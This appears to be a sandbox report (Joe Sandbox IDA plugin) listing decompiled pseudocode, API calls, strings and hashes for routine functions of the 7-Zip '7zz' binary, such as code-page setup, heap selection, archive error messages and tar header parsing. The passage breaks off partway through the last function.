Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: File$Create$CloseErrorH_prologHandleLastTime
String ID:
API String ID: 1562325489-0
Opcode ID: a5c80a9bf8aac4bebe81e0320b0504ece2bb406e11bd7c606f3c9c216bf877a2
Instruction ID: e76a05e07f1340f2f4d5a0f82b1dd14c97c15875a5f06524ffc792fdba8d9db0
Opcode Fuzzy Hash: a5c80a9bf8aac4bebe81e0320b0504ece2bb406e11bd7c606f3c9c216bf877a2
Instruction Fuzzy Hash: 7E218C71940209AAEF11AFA4DC02BEEBBB8EF48710F10453AE514B62E1D3790E00CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00471830 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 143
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00471830(int _a4) {
				signed int _v8;
				char _v21;
				char _v22;
				struct _cpinfo _v28;
				void* __ebx;
				void* __edi;
				intOrPtr* _t36;
				signed int _t40;
				signed int _t41;
				int _t43;
				signed int _t47;
				signed int _t49;
				int _t50;
				signed char* _t51;
				signed int _t55;
				signed char* _t57;
				signed int _t60;
				intOrPtr* _t63;
				signed int _t65;
				signed char _t66;
				signed char _t68;
				signed char _t69;
				signed int _t70;
				void* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				void* _t85;

				E0046E56A(0x19);
				_t50 = E004719DD(_a4);
				_t85 = _t50 -  *0x496228; // 0x4e4
				_a4 = _t50;
				if(_t85 != 0) {
					__eflags = _t50;
					if(_t50 == 0) {
						L30:
						E00471A5A();
					} else {
						_t65 = 0;
						__eflags = 0;
						_t36 = 0x490638;
						while(1) {
							__eflags =  *_t36 - _t50;
							if( *_t36 == _t50) {
								break;
							}
							_t36 = _t36 + 0x30;
							_t65 = _t65 + 1;
							__eflags = _t36 - 0x490728;
							if(_t36 < 0x490728) {
								continue;
							} else {
								_t43 = GetCPInfo(_t50,  &_v28);
								_t81 = 1;
								__eflags = _t43 - _t81;
								if(_t43 != _t81) {
									__eflags =  *0x49384c;
									if( *0x49384c == 0) {
										_t77 = _t81 | 0xffffffff;
										__eflags = _t77;
									} else {
										goto L30;
									}
								} else {
									 *0x496444 =  *0x496444 & 0x00000000;
									_t60 = 0x40;
									__eflags = _v28 - _t81;
									memset(0x496340, 0, _t60 << 2);
									asm("stosb");
									 *0x496228 = _t50;
									if(__eflags <= 0) {
										 *0x49623c =  *0x49623c & 0x00000000;
										__eflags =  *0x49623c;
									} else {
										__eflags = _v22;
										if(_v22 != 0) {
											_t63 =  &_v21;
											while(1) {
												_t69 =  *_t63;
												__eflags = _t69;
												if(_t69 == 0) {
													goto L24;
												}
												_t49 =  *(_t63 - 1) & 0x000000ff;
												_t70 = _t69 & 0x000000ff;
												while(1) {
													__eflags = _t49 - _t70;
													if(_t49 > _t70) {
														break;
													}
													 *(_t49 + 0x496341) =  *(_t49 + 0x496341) | 0x00000004;
													_t49 = _t49 + 1;
												}
												_t63 = _t63 + 2;
												__eflags =  *(_t63 - 1);
												if( *(_t63 - 1) != 0) {
													continue;
												}
												goto L24;
											}
										}
										L24:
										_t47 = _t81;
										do {
											 *(_t47 + 0x496341) =  *(_t47 + 0x496341) | 0x00000008;
											_t47 = _t47 + 1;
											__eflags = _t47 - 0xff;
										} while (_t47 < 0xff);
										 *0x496444 = E00471A27(_t50);
										 *0x49623c = _t81;
									}
									_t71 = 0x496230;
									asm("stosd");
									asm("stosd");
									asm("stosd");
									L31:
									E00471A83(_t50, _t71);
									goto L1;
								}
							}
							goto L33;
						}
						_v8 = _v8 & 0x00000000;
						_t55 = 0x40;
						memset(0x496340, 0, _t55 << 2);
						_t79 = _t65 + _t65 * 2 << 4;
						__eflags = _t79;
						asm("stosb");
						_t51 = _t79 + 0x490648;
						do {
							__eflags =  *_t51;
							_t57 = _t51;
							if( *_t51 != 0) {
								while(1) {
									_t66 = _t57[1];
									__eflags = _t66;
									if(_t66 == 0) {
										goto L21;
									}
									_t41 =  *_t57 & 0x000000ff;
									_t74 = _t66 & 0x000000ff;
									__eflags = _t41 - _t74;
									if(_t41 <= _t74) {
										_t19 = _v8 + 0x490630; // 0x8040201
										_t68 =  *_t19;
										do {
											 *(_t41 + 0x496341) =  *(_t41 + 0x496341) | _t68;
											_t41 = _t41 + 1;
											__eflags = _t41 - _t74;
										} while (_t41 <= _t74);
									}
									_t57 =  &(_t57[2]);
									__eflags =  *_t57;
									if( *_t57 != 0) {
										continue;
									}
									goto L21;
								}
							}
							L21:
							_v8 = _v8 + 1;
							_t51 =  &(_t51[8]);
							__eflags = _v8 - 4;
						} while (_v8 < 4);
						_t39 = _a4;
						 *0x49623c = 1;
						 *0x496228 = _a4;
						_t40 = E00471A27(_t39);
						_t71 = 0x496230;
						asm("movsd");
						asm("movsd");
						 *0x496444 = _t40;
						asm("movsd");
					}
					goto L31;
				} else {
					L1:
					_t77 = 0;
				}
				L33:
				E0046E5CB(0x19);
				return _t77;
			}

0x0047183b
0x00471848
0x0047184b
0x00471852
0x00471855
0x0047185e
0x00471860
0x004719bc
0x004719bc
0x00471866
0x00471866
0x00471866
0x00471868
0x0047186d
0x0047186d
0x0047186f
0x00000000
0x00000000
0x00471871
0x00471874
0x00471875
0x0047187a
0x00000000
0x0047187c
0x00471881
0x00471889
0x0047188a
0x0047188c
0x004719b3
0x004719ba
0x004719cb
0x004719cb
0x00000000
0x00000000
0x00000000
0x00471892
0x00471894
0x0047189b
0x004718a3
0x004718a6
0x004718a8
0x004718a9
0x004718af
0x004719a0
0x004719a0
0x004718b5
0x004718b5
0x004718b9
0x004718bf
0x004718c2
0x004718c2
0x004718c4
0x004718c6
0x00000000
0x00000000
0x004718cc
0x004718d0
0x004718d3
0x004718d3
0x004718d5
0x00000000
0x00000000
0x004718db
0x004718e2
0x004718e2
0x00471970
0x00471971
0x00471975
0x00000000
0x00000000
0x00000000
0x00471975
0x004718c2
0x0047197b
0x0047197b
0x0047197d
0x0047197d
0x00471984
0x00471985
0x00471985
0x00471993
0x00471998
0x00471998
0x004719a9
0x004719ae
0x004719af
0x004719b0
0x004719c1
0x004719c1
0x00000000
0x004719c1
0x0047188c
0x00000000
0x0047187a
0x004718e5
0x004718eb
0x004718f6
0x004718f8
0x004718f8
0x004718fb
0x004718fc
0x00471902
0x00471902
0x00471905
0x00471907
0x00471909
0x00471909
0x0047190c
0x0047190e
0x00000000
0x00000000
0x00471910
0x00471913
0x00471916
0x00471918
0x0047191d
0x0047191d
0x00471923
0x00471923
0x00471929
0x0047192a
0x0047192a
0x00471923
0x0047192f
0x00471930
0x00471933
0x00000000
0x00000000
0x00000000
0x00471933
0x00471909
0x00471935
0x00471935
0x00471938
0x0047193b
0x0047193b
0x00471941
0x00471944
0x0047194f
0x00471954
0x0047195f
0x00471964
0x00471965
0x00471967
0x0047196c
0x0047196c
0x00000000
0x00471857
0x00471857
0x00471857
0x00471857
0x004719ce
0x004719d0
0x004719dc

APIs

Part of subcall function 0046E56A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5A7
Part of subcall function 0046E56A: EnterCriticalSection.KERNEL32(?,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5C2

GetCPInfo.KERNEL32(00000000,?,?,?,00000000,?,?,0046CFEB), ref: 00471881

Part of subcall function 0046E5CB: LeaveCriticalSection.KERNEL32(?,0046C0D0,00000009,0046C0BC,00000000,?,00000000,00000000,00000000), ref: 0046E5D8

Strings

0bI, xrefs: 004719A9
@cI, xrefs: 0047189E
@cI, xrefs: 004718EE
0bI, xrefs: 0047195F

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: CriticalSection$EnterInfoInitializeLeave
String ID: 0bI$0bI$@cI$@cI
API String ID: 1866836854-605000347
Opcode ID: fb2e5454b5c0239ef892e6083fb739233ab4ecf906b078c2986846cff91fd72d
Instruction ID: f7c0c694ad5e617c113d7fbc1e97f9e30d3079020f4ba9ff39ded3c73c8e616e
Opcode Fuzzy Hash: fb2e5454b5c0239ef892e6083fb739233ab4ecf906b078c2986846cff91fd72d
Instruction Fuzzy Hash: 33415CF16042409EEB21DBBDD8917EA7BE09B05314F25C07BD68D862B2C33D494AC74E

Uniqueness

Uniqueness Score: -1.00%

Function 0046E91E Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0046E91E(void* __ecx, void* __eflags) {
				char _v8;
				struct _OSVERSIONINFOA _v156;
				char _v416;
				char _v4656;
				void* _t24;
				CHAR* _t32;
				void* _t33;
				intOrPtr* _t34;
				void* _t35;
				char _t36;
				char _t38;
				void* _t40;
				char* _t44;
				char* _t45;
				char* _t50;

				E0046CC80(0x122c, __ecx);
				_v156.dwOSVersionInfoSize = 0x94;
				if(GetVersionExA( &_v156) != 0 && _v156.dwPlatformId == 2 && _v156.dwMajorVersion >= 5) {
					_t40 = 1;
					return _t40;
				}
				if(GetEnvironmentVariableA("__MSVCRT_HEAP_SELECT",  &_v4656, 0x1090) == 0) {
					L28:
					_t24 = E0046E8F1( &_v8);
					asm("sbb eax, eax");
					return _t24 + 3;
				}
				_t44 =  &_v4656;
				if(_v4656 != 0) {
					do {
						_t38 =  *_t44;
						if(_t38 >= 0x61 && _t38 <= 0x7a) {
							 *_t44 = _t38 - 0x20;
						}
						_t44 = _t44 + 1;
					} while ( *_t44 != 0);
				}
				if(E00471260("__GLOBAL_HEAP_SELECTED",  &_v4656, 0x16) != 0) {
					GetModuleFileNameA(0,  &_v416, 0x104);
					_t45 =  &_v416;
					if(_v416 != 0) {
						do {
							_t36 =  *_t45;
							if(_t36 >= 0x61 && _t36 <= 0x7a) {
								 *_t45 = _t36 - 0x20;
							}
							_t45 = _t45 + 1;
						} while ( *_t45 != 0);
					}
					_t32 = E004711E0( &_v4656,  &_v416);
				} else {
					_t32 =  &_v4656;
				}
				if(_t32 == 0) {
					goto L28;
				}
				_t33 = E00471120(_t32, 0x2c);
				if(_t33 == 0) {
					goto L28;
				}
				_t34 = _t33 + 1;
				_t50 = _t34;
				if( *_t34 != 0) {
					do {
						if( *_t50 != 0x3b) {
							_t50 = _t50 + 1;
						} else {
							 *_t50 = 0;
						}
					} while ( *_t50 != 0);
				}
				_t35 = E00470EE6(_t34, 0, 0xa);
				if(_t35 != 2 && _t35 != 3 && _t35 != 1) {
					goto L28;
				}
				return _t35;
			}

0x0046e926
0x0046e933
0x0046e945
0x0046e95b
0x00000000
0x0046e95b
0x0046e97a
0x0046ea50
0x0046ea54
0x0046ea5e
0x00000000
0x0046ea60
0x0046e982
0x0046e98e
0x0046e990
0x0046e990
0x0046e994
0x0046e99c
0x0046e99c
0x0046e99e
0x0046e99f
0x0046e990
0x0046e9bb
0x0046e9d2
0x0046e9de
0x0046e9e4
0x0046e9e6
0x0046e9e6
0x0046e9ea
0x0046e9f2
0x0046e9f2
0x0046e9f4
0x0046e9f5
0x0046e9e6
0x0046ea07
0x0046e9bd
0x0046e9bd
0x0046e9bd
0x0046ea10
0x00000000
0x00000000
0x0046ea15
0x0046ea1e
0x00000000
0x00000000
0x0046ea20
0x0046ea21
0x0046ea25
0x0046ea27
0x0046ea2a
0x0046ea30
0x0046ea2c
0x0046ea2c
0x0046ea2c
0x0046ea31
0x0046ea27
0x0046ea39
0x0046ea44
0x00000000
0x00000000
0x0046ea65

APIs

GetVersionExA.KERNEL32 ref: 0046E93D
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 0046E972
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0046E9D2

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 0046E9AC
__MSVCRT_HEAP_SELECT, xrefs: 0046E96D

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: d2698aefaa4a4e50ff42bfeab236f56def5fb5be9e683bef9c987278d28df3f8
Instruction ID: 26b517cc7216be0e7fa39fd26568a30cb45b6abf2afbf55f3da7e0b56cbc24c7
Opcode Fuzzy Hash: d2698aefaa4a4e50ff42bfeab236f56def5fb5be9e683bef9c987278d28df3f8
Instruction Fuzzy Hash: 54312CB99052446DEB3186B65C857EF37E8AF06304F1404DBE189D5142F5388ECEC71B

Uniqueness

Uniqueness Score: -1.00%

Function 00401BE5 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401BE5(void* __ecx) {
				intOrPtr* _t22;
				char* _t27;
				intOrPtr _t29;
				void* _t45;
				void* _t47;

				L0046B890(E00472D20, _t47);
				_t45 = __ecx;
				L00407CC0( *((intOrPtr*)(__ecx + 0x40)), 0x407ccd);
				_t29 =  *((intOrPtr*)(_t47 + 0xc));
				if(_t29 != 0) {
					E00407CD5( *((intOrPtr*)(__ecx + 0x40)), "Error: ");
					if(_t29 != 1) {
						if(_t29 != 0x8007000e) {
							_t22 = E00401C91(_t47 - 0x18, _t29);
							 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
							E00407CD5( *((intOrPtr*)(__ecx + 0x40)),  *_t22);
							 *(_t47 - 4) =  *(_t47 - 4) | 0xffffffff;
							L00407A18( *((intOrPtr*)(_t47 - 0x18)));
						} else {
							_push("Can\'t allocate required memory");
							goto L5;
						}
					} else {
						_t27 = "Can not open encrypted archive. Wrong password?";
						if( *((char*)(_t47 + 0x10)) == 0) {
							_t27 = "Can not open file as archive";
						}
						_push(_t27);
						L5:
						E00407CD5( *((intOrPtr*)(_t45 + 0x40)));
					}
					L00407CC0( *((intOrPtr*)(_t45 + 0x40)), 0x407ccd);
					 *((intOrPtr*)(_t45 + 0x28)) =  *((intOrPtr*)(_t45 + 0x28)) + 1;
					asm("adc dword [esi+0x2c], 0x0");
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0xc));
				return 0;
			}

0x00401bea
0x00401bf5
0x00401c00
0x00401c05
0x00401c0a
0x00401c14
0x00401c1c
0x00401c3f
0x00401c4d
0x00401c57
0x00401c5b
0x00401c63
0x00401c67
0x00401c41
0x00401c41
0x00000000
0x00401c41
0x00401c1e
0x00401c22
0x00401c27
0x00401c29
0x00401c29
0x00401c2e
0x00401c2f
0x00401c32
0x00401c32
0x00401c71
0x00401c76
0x00401c7a
0x00401c7a
0x00401c86
0x00401c8e

APIs

__EH_prolog.LIBCMT ref: 00401BEA

Strings

Error: , xrefs: 00401C0F
Can not open encrypted archive. Wrong password?, xrefs: 00401C22, 00401C2E
Can't allocate required memory, xrefs: 00401C41
Can not open file as archive, xrefs: 00401C29

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: Can not open encrypted archive. Wrong password?$Can not open file as archive$Can't allocate required memory$Error:
API String ID: 3519838083-4253456528
Opcode ID: f643b0d77a5193f8bda12cef83a72c641e5637254c1606468349ebd7a63f7bd3
Instruction ID: e96b05d5f5363979fc09c6e311170d97ed88631a387b5d6dedbde536d9aec6cb
Opcode Fuzzy Hash: f643b0d77a5193f8bda12cef83a72c641e5637254c1606468349ebd7a63f7bd3
Instruction Fuzzy Hash: 3D11C431A082049BEB24FA65D485A6F77B4AB44728F10493FE142676D1C7BDA8509B1A

Uniqueness

Uniqueness Score: -1.00%

Function 0046E383 Relevance: 7.5, APIs: 5, Instructions: 38
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0046E383() {
				void _t10;
				long _t15;
				void* _t16;

				_t15 = GetLastError();
				_t16 = TlsGetValue( *0x48e060);
				if(_t16 == 0) {
					_t16 = L0046FE93(1, 0x74);
					if(_t16 == 0 || TlsSetValue( *0x48e060, _t16) == 0) {
						E0046D03C(0x10);
					} else {
						E0046E370(_t16);
						_t10 = GetCurrentThreadId();
						 *(_t16 + 4) =  *(_t16 + 4) | 0xffffffff;
						 *_t16 = _t10;
					}
				}
				SetLastError(_t15);
				return _t16;
			}

0x0046e391
0x0046e399
0x0046e39d
0x0046e3a8
0x0046e3ae
0x0046e3d8
0x0046e3c1
0x0046e3c2
0x0046e3c8
0x0046e3ce
0x0046e3d2
0x0046e3d2
0x0046e3ae
0x0046e3df
0x0046e3e9

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,0047064B,004710B4,00000000,?,?,00000000,00000001), ref: 0046E385
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 0046E393
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 0046E3DF

Part of subcall function 0046FE93: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046FF89

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 0046E3B7
GetCurrentThreadId.KERNEL32 ref: 0046E3C8

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: 55fbcf2c7f2f4967b79abaeaadafaeb02b42f847358bd6d886319d930bf8ac5d
Instruction ID: 886707f6ee56ed2fdb0e8759095dced5a20534092e2ad5f091fc19cf1158f84c
Opcode Fuzzy Hash: 55fbcf2c7f2f4967b79abaeaadafaeb02b42f847358bd6d886319d930bf8ac5d
Instruction Fuzzy Hash: BAF062359003219BD7312B32BC0975E3B94EB427A1B10093AF959D67A0EBA888D1869A

Uniqueness

Uniqueness Score: -1.00%

Function 00438A2E Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 286
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00438A2E(intOrPtr __ecx, signed char* __edx, void* __eflags) {
				void* __esi;
				signed int _t109;
				signed int _t114;
				signed int _t115;
				signed int _t116;
				signed int* _t124;
				signed int _t125;
				signed int _t127;
				signed int _t129;
				signed int _t140;
				signed int _t143;
				signed int _t146;
				signed int _t150;
				signed int* _t153;
				signed int _t154;
				void* _t156;
				void* _t157;
				signed int* _t176;
				void* _t181;
				void* _t204;
				void* _t219;
				void* _t223;
				void* _t226;
				void* _t227;
				void* _t228;
				intOrPtr _t233;
				signed char** _t240;
				signed int* _t242;
				signed int* _t243;
				void* _t244;
				intOrPtr _t251;
				void* _t253;

				L0046B890(E00478310, _t253);
				_t240 =  *(_t253 + 0xc);
				 *(_t253 + 0xf) =  *(_t253 + 0xf) & 0x00000000;
				 *((intOrPtr*)(_t253 - 0x20)) = __edx;
				_t240[1] = _t240[1] & 0x00000000;
				 *((intOrPtr*)(_t253 - 0x28)) = __ecx;
				 *( *_t240) =  *( *_t240) & 0x00000000;
				 *__edx =  *__edx & 0x00000000;
				 *((intOrPtr*)(_t253 - 0x10)) = 0x200;
				_t109 = L0040FA74(__ecx, _t253 - 0x24c, _t253 - 0x10);
				if(_t109 != 0) {
					L41:
					 *[fs:0x0] =  *((intOrPtr*)(_t253 - 0xc));
					return _t109;
				}
				_t251 =  *((intOrPtr*)(_t253 + 8));
				while( *((intOrPtr*)(_t253 - 0x10)) != 0) {
					if( *((intOrPtr*)(_t253 - 0x10)) != 0x200) {
						_push("There is no correct record at the end of archive");
						L12:
						E00409664(_t240);
						L13:
						_t109 = 0;
						goto L41;
					}
					 *((intOrPtr*)(_t251 + 0x68)) =  *((intOrPtr*)(_t251 + 0x68)) + 0x200;
					if(E00438E5B(_t253 - 0x24c) == 0) {
						__eflags =  *(_t253 + 0xf);
						if( *(_t253 + 0xf) == 0) {
							_push(_t251);
							_t219 = 0x64;
							E00438E71(_t253 - 0x24c, _t219);
							_push(_t251 + 0x18);
							_t181 = 8;
							_t114 = E00438E29(_t253 - 0x1e8);
							__eflags = _t114;
							if(_t114 == 0) {
								L26:
								_t109 = 1;
								goto L41;
							}
							_t242 = _t251 + 0x1c;
							_t115 = E00438E29(_t253 - 0x1e0, _t242);
							__eflags = _t115;
							if(_t115 == 0) {
								 *_t242 =  *_t242 & 0x00000000;
								__eflags =  *_t242;
							}
							_t243 = _t251 + 0x20;
							_t116 = E00438E29(_t253 - 0x1d8, _t243);
							__eflags = _t116;
							if(_t116 == 0) {
								 *_t243 =  *_t243 & 0x00000000;
								__eflags =  *_t243;
							}
							__eflags = (((( *(_t253 - 0x1d0) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1cf) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1ce) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1cd) & 0x000000ff) - 0x80000000;
							_t124 = _t251 + 0x10;
							 *(_t253 + 0xc) = _t124;
							if((((( *(_t253 - 0x1d0) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1cf) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1ce) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1cd) & 0x000000ff) != 0x80000000) {
								_push(_t124);
								_t223 = 0xc;
								_t125 = E00438DD3(_t253 - 0x1d0, _t223, _t251);
								__eflags = _t125;
								if(_t125 == 0) {
									goto L26;
								}
								goto L22;
							} else {
								_t176 =  *(_t253 + 0xc);
								 *_t176 = ((( *(_t253 - 0x1c8) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1c7) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1c6) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1c5) & 0x000000ff;
								_t176[1] = ((( *(_t253 - 0x1cc) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1cb) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1ca) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1c9) & 0x000000ff;
								L22:
								_push(_t251 + 0x24);
								_t127 = E00438E29(_t253 - 0x1c4, 0xc);
								__eflags = _t127;
								if(_t127 == 0) {
									goto L26;
								}
								_t129 = E00438E29(_t253 - 0x1b8, _t253 - 0x24);
								__eflags = _t129;
								if(_t129 == 0) {
									goto L26;
								}
								E0046C5C0(_t253 - 0x1b8,  *0x48d374, _t181);
								 *((char*)(_t251 + 0x5c)) =  *((intOrPtr*)(_t253 - 0x1b0));
								_push(_t251 + 0x30);
								_t226 = 0x64;
								E00438E71(_t253 - 0x1af, _t226);
								_t244 = _t251 + 0x54;
								E0046C5C0(_t244, _t253 - 0x14b, _t181);
								_push(_t251 + 0x3c);
								_t227 = 0x20;
								E00438E71(_t253 - 0x143, _t227);
								_push(_t251 + 0x48);
								_t228 = 0x20;
								_t140 = E00438E71(_t253 - 0x123, _t228);
								__eflags =  *((char*)(_t253 - 0x103));
								 *((char*)(_t251 + 0x5d)) = _t140 & 0xffffff00 |  *((char*)(_t253 - 0x103)) != 0x00000000;
								_t143 = E00438E29(_t253 - 0x103, _t251 + 0x28);
								__eflags = _t143;
								if(_t143 == 0) {
									goto L26;
								}
								__eflags =  *((char*)(_t253 - 0xfb));
								 *((char*)(_t251 + 0x5e)) = _t143 & 0xffffff00 |  *((char*)(_t253 - 0xfb)) != 0x00000000;
								_t146 = E00438E29(_t253 - 0xfb, _t251 + 0x2c);
								__eflags = _t146;
								if(_t146 != 0) {
									 *((intOrPtr*)(_t253 - 0x1c)) = 0;
									 *(_t253 - 0x18) = 0;
									 *((intOrPtr*)(_t253 - 0x14)) = 0;
									E00401EEE(_t253 - 0x1c, 3);
									 *((intOrPtr*)(_t253 - 4)) = 0;
									E00438E71(_t253 - 0xf3, 0x9b, _t253 - 0x1c);
									__eflags =  *(_t253 - 0x18);
									if( *(_t253 - 0x18) == 0) {
										L33:
										__eflags =  *((char*)(_t251 + 0x5c)) - 0x31;
										if( *((char*)(_t251 + 0x5c)) == 0x31) {
											_t153 =  *(_t253 + 0xc);
											 *_t153 = 0;
											_t153[1] = 0;
										}
										_t204 = 0;
										_t150 = 0;
										__eflags = 0;
										do {
											_t204 = _t204 + ( *(_t253 + _t150 - 0x24c) & 0x000000ff);
											_t150 = _t150 + 1;
											__eflags = _t150 - 0x200;
										} while (_t150 < 0x200);
										__eflags = _t204 -  *((intOrPtr*)(_t253 - 0x24));
										if(_t204 ==  *((intOrPtr*)(_t253 - 0x24))) {
											__eflags = 0;
											 *((char*)( *((intOrPtr*)(_t253 - 0x20)))) = 1;
										} else {
											_push(1);
											_pop(0);
										}
										L00407A18( *((intOrPtr*)(_t253 - 0x1c)));
										_t109 = 0;
										goto L41;
									}
									_t154 = 0;
									__eflags = 0;
									while(1) {
										_t233 =  *0x48d380; // 0x48d394
										__eflags =  *((intOrPtr*)(_t244 + _t154)) -  *((intOrPtr*)(_t233 + _t154));
										if( *((intOrPtr*)(_t244 + _t154)) !=  *((intOrPtr*)(_t233 + _t154))) {
											goto L33;
										}
										_t154 = _t154 + 1;
										__eflags = _t154 - 5;
										if(_t154 < 5) {
